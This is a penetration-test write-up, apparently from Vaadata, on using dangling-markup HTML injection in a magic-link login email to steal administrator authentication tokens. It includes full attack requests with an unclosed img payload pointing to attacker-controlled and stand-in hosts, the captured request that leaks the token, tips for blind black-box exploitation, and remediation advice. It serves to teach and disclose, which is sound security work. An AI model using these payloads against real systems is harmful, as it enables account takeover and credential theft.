During a web application penetration test, we came across the following situation:

Exploiting an HTML injection with dangling markup

One feature allowed platform administrators to authenticate using “magic links”. These “magic links” are links sent by email that contain a unique token allowing a user to be authenticated without the need to type in a password.

Note that for this pentest, we were in a grey box. We had a test admin account with access to the administrator’s email box. However, the attack described below can also work blindly (in black box) if it is correctly executed.

The normal operation of the application was as follows:

  • The administrator wants to connect to admin.myapp.com. He is redirected to the SSO (sso.myapp.com).
  • The authentication page on the SSO consists only of a form allowing the administrator to enter his email address.
  • After entering the email address, the administrator receives an email only if the email is in the administrator’s white list. The email received contains the magic link with the authentication token. When he clicks on this link, he is authenticated on admin.myapp.com.

Discovering a possible HTML injection

Here is an example of the query sent when the administrator enters their email on the SSO authentication form:

POST /auth/magic-link HTTP/2 
Host: sso.myapp.com 
Content-Type: application/json;charset=utf-8 
Content-Length: 81 

{"email":"[email protected]","appId":"sso","boUrl":"https://admin.myapp.com/"}}

The email received by the administrator looks like the following:

We can see that the token to authenticate the administrator is visible in the email. The other significant element is in the request. It is the boUrl parameter.

After several replays of this request, we found the following:

  • The URL contained in the boUrl parameter must have a valid format. It must include the HTTPS protocol.
  • A strict check on the domain passed in the boUrl parameter is performed. Only the domain admin.myapp.com is allowed and other sub-domains in a white list.
  • The email in the request must match that of an administrator. Otherwise no email is sent.
  • The server response is the same whether the request is considered valid or not. This makes the detection of the vulnerability in black box more complex.

The reason for the boUrl parameter is that other back offices may exist. In this case, the boUrl parameter is checked using a white list. The magic link sent in the email is then generated for the corresponding back office.

Identifying the HTML injection vulnerability

We found that when we entered a valid URL in the boUrl parameter, with one of the domains in the whitelist, and added parameters, these were picked up in the magic link generation.


POST /auth/magic-link HTTP/2 
Host: sso.myapp.com 
Content-Type: application/json;charset=utf-8 
Content-Length: 94 

{"email":"[email protected]","appId":"sso","boUrl":"https://admin.myapp.com/?test=vaadata"}}

The value of the bo_url parameter seems to be used directly by the backend to generate the magic link. The token is added after the valid URL transmitted by the user. An open redirect is impossible because of the validations performed on the domain.

On the other hand, it is not uncommon for user-controllable parameters in emails to be incorrectly checked and encoded. This often leads to HTML injections that usually do not have a big impact.

Let’s try to build a valid URL with HTML code in a parameter:


POST /auth/magic-link HTTP/2 
Host: sso.myapp.com 
Content-Type: application/json;charset=utf-8 
Content-Length: 101 

{"email":"[email protected]","appId":"sso","boUrl":"https://admin.myapp.com?<h1><s>TEST</s></h1>"}}

The injection worked and the injected HTML is correctly interpreted. We also have confirmation that the injection point is just before the token parameter. The token is added to the part we control to form the link.

Exploiting the HTML injection

Now that we know that this is vulnerable and that our injection point is just before the token that is added to the magic link, we can use an HTML injection with the dangling markup technique.

The principle is as follows: we will inject an image in HTML with a source that points to a server that we control. We will deliberately forget to close our image tag. Here is the payload in question to be inserted in the boUrl parameter:

https://admin.myapp.com?<img src=\“https:// <collaborator_id>.oastify.com/?test=

The first part https://admin.myapp.com? is the administration URL. It is necessary for the server to accept the request.

We then open an image tag with a source to a server we control: here <your_ID>.oastify.com which corresponds to a URL generated the Burp Collaborator tool. We add a test parameter and do not close the src attribute or the image tag.

This way, when the HTML code is interpreted, the software that reads the HTML will try to close the image tag. Everything between our injection point and the next "> characters will be inserted into the source of our image and exfiltrated to our server when a user opens the email. This includes the magic link authentication token.

Full request:

POST /auth/magic-link HTTP/2 
Host: sso.myapp.com 
Content-Type: application/json;charset=utf-8 
Content-Length: 129 

{"email":"[email protected]","appId":"sso","boUrl":"https://admin.myapp.com?<img src=\“https://icontrolit.gothamcity.com/?test=”}}

Email received:

When an administrator opens the email, the image will automatically be loaded and we will receive a request on our server:

GET /?test=?token=739f65ac-7d4d-4122-9f94-19bd17b0e7b6%3C/a%3E%20%20%3C/div%3E%20%20%20%20%20%20%3C/td%3E%20%20%20%20%3C/tr%3E%20%20%3C/tbody%3E%3C/table%3E%3Ctable%20id= HTTP/1.1
Host: lnc0nr14cvjz3l9i58in6ov0rrxil89x.oastify.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: image/avif,image/webp,*/*
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site

We can see that the request does indeed contain the token as well as many other characters. The characters following the token correspond to everything that was exfiltrated before the "> characters were encountered in the email template to close our image tag.

Note: Some email clients may block the automatic loading of images. In this case, it is possible to do the injection with other HTML tags such as a link. However, this requires a click from the user who is being tricked and therefore reduces the probability of exploitation.

Exploiting this HTML injection in black box

In the case of a black box test, in the skin of an external attacker, the whole vulnerability detection section is not possible, as we do not have an administrator account beforehand to analyse the generated emails.

On the other hand, the fact that the authentication endpoint is associated with magic links (visible in the URL) and that a parameter allowing to indicate a URL is present in the request should raise a red flag.

At first glance, the presence of a parameter containing a URL may suggest an SSRF. However, if after several tests you get no return on your SSRF attempts, this may indicate that the parameter is being checked on the server side.

The idea is to get hold of a valid email address via OSINT techniques. Then attempt blind attacks by deliberately inserting a valid, unclosed HTML payload while keeping the default domain transmitted when using authentication. Try to anticipate the potential whitelisting on the domain name and protocol. Then you have to be patient and hope that a user opens the email. The probability of exploitation is therefore fairly low. The impact on the other hand remains critical.

In many cases, no verification is performed on the vulnerable parameter. The vulnerability is therefore often easier to detect and exploit.

What to remember!

When you find an injection point and it is not possible to get JavaScript code injection (XSS), consider looking at the data at the injection point. If sensitive data is inserted near the injection point, a simple HTML injection can have significant consequences. In black box, attempting to inject HTML payloads with blind dangling markup can allow normally hidden data to be exfiltrated to a server you control.

How to prevent HTML injection vulnerabilities?

As with any type of injection, the idea is to never trust user-controllable elements.

The basic rule for avoiding XSS is to encode all special characters in HTML format. This also applies when user data is reused in emails.

In this case, another solution would be to simply not include the data transmitted in the boUrl parameter. The whitelist should be applied to the entire transmitted value and not just to the domain and protocol.

Author: Yoan MONTOYA – Pentester @Vaadata